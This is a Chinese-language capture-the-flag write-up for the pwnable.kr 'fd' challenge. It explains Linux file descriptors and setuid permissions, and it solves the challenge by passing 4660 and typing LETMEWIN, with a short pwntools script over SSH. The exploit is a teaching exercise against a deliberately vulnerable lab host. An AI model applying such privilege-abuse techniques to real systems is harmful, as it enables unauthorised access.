Pwnable.kr fd [Writeup]

原创

c01dkit 于 2021-02-24 18:46:31 发布 74 收藏

分类专栏： pwn 文章标签： pwn

更多writeup将更新于个人博客，随缘同步到CSDN，如有需要，请移步此处

题源

https://pwnable.kr/play.php

> Mommy! what is a file descriptor in Linux?
> try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link:
> https://youtu.be/971eZhMHQQw
> ssh fd@pwnable.kr -p2222 (pw:guest)

题解

Pwnable.kr的第一道题，主要用于熟悉实验环境。可以先直接连接上服务器看一看情况。

```
kali@kali:~/Desktop$ ssh fd@pwnable.kr -p2222
fd@pwnable.kr's password:
 ____  __    __  ____    ____  ____   _        ___      __  _  ____
|    \|  |__|  ||    \  /    ||    \ | |      /  _]    |  |/ ]|    \
|  o  )  |  |  ||  _  ||  o  ||  o  )| |     /  [_     |  ' / |  D  )
|   _/|  |  |  ||  |  ||     ||     || |___ |    _]    |    \ |    /
|  |  `  `  '  ||  |  ||  _  ||  O  ||     ||   [_ __ |     \|    \
|  |   \      / |  |  ||  |  ||     ||     ||     |  .  |     .  \
|__|    \_/\_/  |__|__||__|__||_____||_____||_____|__|__|\_||__|\_|

- Site admin : daehee87@gatech.edu
- IRC : irc.netgarage.org:6667 / #pwnable.kr
- Simply type "irssi" command to join IRC now
- files under /tmp can be erased anytime. make your directory under /tmp
- to use peda, issue `source /usr/share/peda/peda.py` in gdb terminal
You have new mail.
Last login: Wed Feb 24 04:14:36 2021 from 42.228.115.213
fd@pwnable:~$ ls -l
total 16
-r-sr-x--- 1 fd_pwn fd   7322 Jun 11  2014 fd
-rw-r--r-- 1 root   root  418 Jun 11  2014 fd.c
-r--r----- 1 fd_pwn root   50 Jun 11  2014 flag
fd@pwnable:~$ id
uid=1002(fd) gid=1002(fd) groups=1002(fd)
fd@pwnable:~$                          https://blog.csdn.net/weixin_43483799
```

可知登录账号为fd，属于fd用户组。分析权限信息可知，flag文件只有fd_pwn和root具有读权限，而fd的r-s使得fd在执行时将拥有文件所有者（fd_pwn）的权限，r-x说明fd文件的用户组（fd）具有执行权限。由于目前只有fd用户的权限，猜想可知题目的意思是通过执行fd来以fd_pwn的身份读取flag的内容。

方便起见，直接cat一下fd.c

```
fd@pwnable:~$ cat fd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
        if(argc<2){
                printf("pass argv[1] a number\n");
                return 0;
        }
        int fd = atoi( argv[1] ) - 0x1234;
        int len = 0;
        len = read(fd, buf, 32);
        if(!strcmp("LETMEWIN\n", buf)){
                printf("good job :)\n");
                system("/bin/cat flag");
                exit(0);
        }
        printf("learn about Linux file IO\n");
        return 0;

}
```


非常简单的C小程序，首先检查参数个数，然后将第二个参数转成整数并减去0x1234，并将这个整数作为fd（file descriptor，文件描述符）来执行read函数，读取32字节信息存放在buf中。检查buf，如果其等于“LETMEWIN”则调用system执行cat命令，显示flag的内容。
所以正如题目所说，可以控制文件描述符。结合linux相关课程所学，默认情况下0表示标准输入（键盘），1表示标准输出（屏幕），2表示标准错误输出（屏幕），当打开文件时动态使用3及之后的文件描述符。
因此本题非常简单，只需要运行fd文件时传入和0x1234相等的字符串（即4660）作为参数，然后再输入LETMEWIN即可。

```
fd@pwnable:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!
fd@pwnable:~$
```

拓展

题目本身还是非常简单的，但这种在控制台输入命令的方式显然是不合适的，因为之后题目会输入不可见字符。因此还是需要使用pwntools来标准化这一流程。

```python
from pwn import *
USER = 'fd'
HOST = 'pwnable.kr'
PORT = 2222
PASSWORD = 'guest'
ss = ssh(USER,HOST,PORT,PASSWORD)
sh = ss.process(['fd','4660'],'./fd') # argv,executable
payload = 'LETMEWIN'
sh.sendline(payload)
sh.interactive()
```

运行结果如下

```
kali@kali:~/Desktop$ python3 connect.py
[+] Connecting to pwnable.kr on port 2222: Done
[*] fd@pwnable.kr:
    Distro    Ubuntu 16.04
    OS:       linux
    Arch:     amd64
    Version:  4.4.179
    ASLR:     Enabled
[+] Starting remote process './fd' on pwnable.kr: pid 66310
[*] Switching to interactive mode
good job :)
mommy! I think I know what a file descriptor is!!
[*] Got EOF while reading in interactive
$
```


此外，直接cat也不便于本地调试，因此可以使用scp命令直接将远程文件夹copy到当前目录

```
scp -P2222 -r fd@pwnable.kr:/home/fd ./
```

之后便可以本地蹂躏fd了

```
kali@kali:~/Desktop$ scp -P2222 -r fd@pwnable.kr:/home/fd ./
fd@pwnable.kr's password:
scp: /home/fd/flag: Permission denied
scp: /home/fd/.bash_history: Permission denied
scp: /home/fd/.gdb_history: Permission denied
update                                        100%    6     0.0KB/s   00:00
fd                                            100% 7322    27.8KB/s   00:00
fd.c                                          100%  418     0.5KB/s   00:00
config                                        100%  448     0.6KB/s   00:00
kali@kali:~/Desktop$
```

总结

之前都是用remote来做，今天新学到一个ssh，开心~本题大致要点：

- 对linux文件描述符有基本的了解
- 对linux文件权限有基本了解
- 使用pwntools连接ssh、运行程序